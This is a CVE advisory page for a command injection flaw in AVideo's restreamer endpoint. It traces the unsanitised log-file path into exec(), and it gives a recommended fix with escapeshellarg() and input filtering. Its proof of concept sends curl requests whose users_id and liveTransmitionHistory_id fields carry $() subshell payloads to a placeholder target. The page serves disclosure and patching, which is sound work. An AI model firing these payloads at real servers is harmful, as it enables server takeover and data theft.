CVE-2026-33648 — Vulnerability in wwbn/avideo — CVE Details
AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (1.06%). Schedule for your next planned update.
Does your project use an affected wwbn/avideo version?
Paste your composer.lock to check it for CVE-2026-33648 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
The restreamer endpoint constructs a log file path by embedding user-controlled users_id and liveTransmitionHistory_id values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to exec(), allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as $() or backticks.
Details
The vulnerability exists in plugin/Live/standAloneFiles/restreamer.json.php. The data flow is:
1. User input ingestion (line 220):
$request = file_get_contents("php://input");
$robj = json_decode($request);
2. Log file template (line 58):
$logFile = $logFileLocation . "ffmpeg_restreamer_{users_id}_" . date("Y-m-d-h-i-s") . ".log";
3. users_id injected without sanitization (line 318):
$obj->logFile = str_replace('{users_id}', $robj->users_id, $logFile);
4. liveTransmitionHistory_id injected without sanitization (line 407):
$pid[] = startRestream($m3u8, [$value], str_replace(".log", "_{$key}_{$robj->liveTransmitionHistory_id}_{$host}.log", $logFile), $robj);
Note: intval() is applied to liveTransmitionHistory_id in the separate getProcess() function (line 805), but NOT in the runRestream() path that constructs the log file.
5. Unsanitized log file path passed to exec() (lines 720, 723):
// Line 720 (remote ffmpeg path):
execFFMPEGAsyncOrRemote($command . ' > ' . $logFile . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);
// Line 723 (direct execution fallback):
exec($command . ' > ' . $logFile . ' 2>&1 &');
The code sanitizes stream URLs via clearCommandURL() and uses escapeshellarg() for pgrep patterns elsewhere, but completely neglects the log file path — a classic oversight where one injection vector is hardened while an adjacent one is left open.
PoC
Prerequisites: A valid AVideo account with live streaming permissions and a valid restream token.
Step 1: Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API.
Step 2: Send a crafted restream request with shell metacharacters in users_id:
curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \
-H "Content-Type: application/json" \
-d '{
"token": "VALID_TOKEN",
"m3u8": "https://example.com/stream.m3u8",
"restreamsDestinations": ["rtmp://example.com/live/key"],
"restreamsToken": ["VALID_TOKEN"],
"users_id": "x$(id > /tmp/pwned)x",
"liveTransmitionHistory_id": "1"
}'
Step 3: The resulting exec call becomes:
ffmpeg ... > /var/www/tmp/ffmpeg_restreamer_x$(id > /tmp/pwned)x_2026-03-20-... .log 2>&1 &
The $() subshell executes id > /tmp/pwned before the redirection is processed.
Step 4: Verify command execution:
curl -k "https://TARGET/tmp/pwned"
# Expected: output of `id` command showing the web server user
The same vector works through liveTransmitionHistory_id:
curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \
-H "Content-Type: application/json" \
-d '{
"token": "VALID_TOKEN",
"m3u8": "https://example.com/stream.m3u8",
"restreamsDestinations": ["rtmp://example.com/live/key"],
"restreamsToken": ["VALID_TOKEN"],
"users_id": "1",
"liveTransmitionHistory_id": "1$(whoami > /tmp/pwned2)1"
}'
Impact
An authenticated user with restream permissions can execute arbitrary OS commands on the server with the privileges of the web server process. This allows:
- Full server compromise: Reading sensitive files (
/etc/passwd, database credentials,.envfiles) - Data exfiltration: Accessing the AVideo database and all user data
- Lateral movement: Using the compromised server as a pivot point
- Service disruption: Killing processes, modifying or deleting files
- Persistent backdoor: Installing web shells or cron jobs for ongoing access
The authentication requirement (PR:L) limits this to users who have been granted streaming access, but in many AVideo deployments user registration is open, making this effectively a low-barrier attack.
Recommended Fix
Sanitize both users_id and liveTransmitionHistory_id immediately after input, and use escapeshellarg() on the log file path before shell execution.
In restreamer.json.php, after line 220 (input decoding), add input sanitization:
$robj = json_decode($request);
// Sanitize fields that will be used in file paths and shell commands
if (isset($robj->users_id)) {
$robj->users_id = preg_replace('/[^a-zA-Z0-9_-]/', '', $robj->users_id);
}
if (isset($robj->liveTransmitionHistory_id)) {
$robj->liveTransmitionHistory_id = intval($robj->liveTransmitionHistory_id);
}
At lines 720 and 723, use escapeshellarg() on the log file path:
// Line 720:
execFFMPEGAsyncOrRemote($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);
// Line 723:
exec($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 &');
Both fixes should be applied — input sanitization as defense-in-depth, and escapeshellarg() as the direct mitigation at the point of shell execution.
Advisory Timeline
- First published March 25, 2026 (246 days ago).
- Last revised March 25, 2026 — 0 days after initial publication.
Affected Packages (1)
Affects 1 ecosystem: Packagist (1).
| Package | Fixed In |
|---|---|
| wwbn/avideo Packagist · Affected: 10.4, 10.8, 11, 11.1 (+13 more) | Range-based data available |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-78OS Command InjectionMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
References
Frequently Asked Questions
- What is CVE-2026-33648?
- AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
- How do I check if my project is affected by CVE-2026-33648?
- CVE-2026-33648 affects wwbn/avideo. It has a 1.1% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-33648 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is an above-median EPSS score — 64% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2024-31819CRITICAL
WWBN AVideo Remote Code Execution
- CVE-2023-25313CRITICAL
AVideo contains Command injection when embedding a video link
- CVE-2026-28501CRITICAL
AVideo has Unauthenticated SQL Injection via JSON Request Bypass in objects/videos.json.php
- CVE-2026-28502CRITICAL
AVideo has Authenticated Remote Code Execution via Unsafe Plugin ZIP Extraction
- CVE-2026-33480HIGH
AVideo has a SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in Unauthenticated LiveLinks Proxy
- CVE-2026-41064HIGH
WWBN AVideo has an incomplete fix for CVE-2026-33502: Command Injection
- CVE-2026-33719HIGH
AVideo: Unauthenticated CDN Configuration Takeover via Empty Default Key Bypass and Mass-Assignment
- CVE-2026-40925HIGH
WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials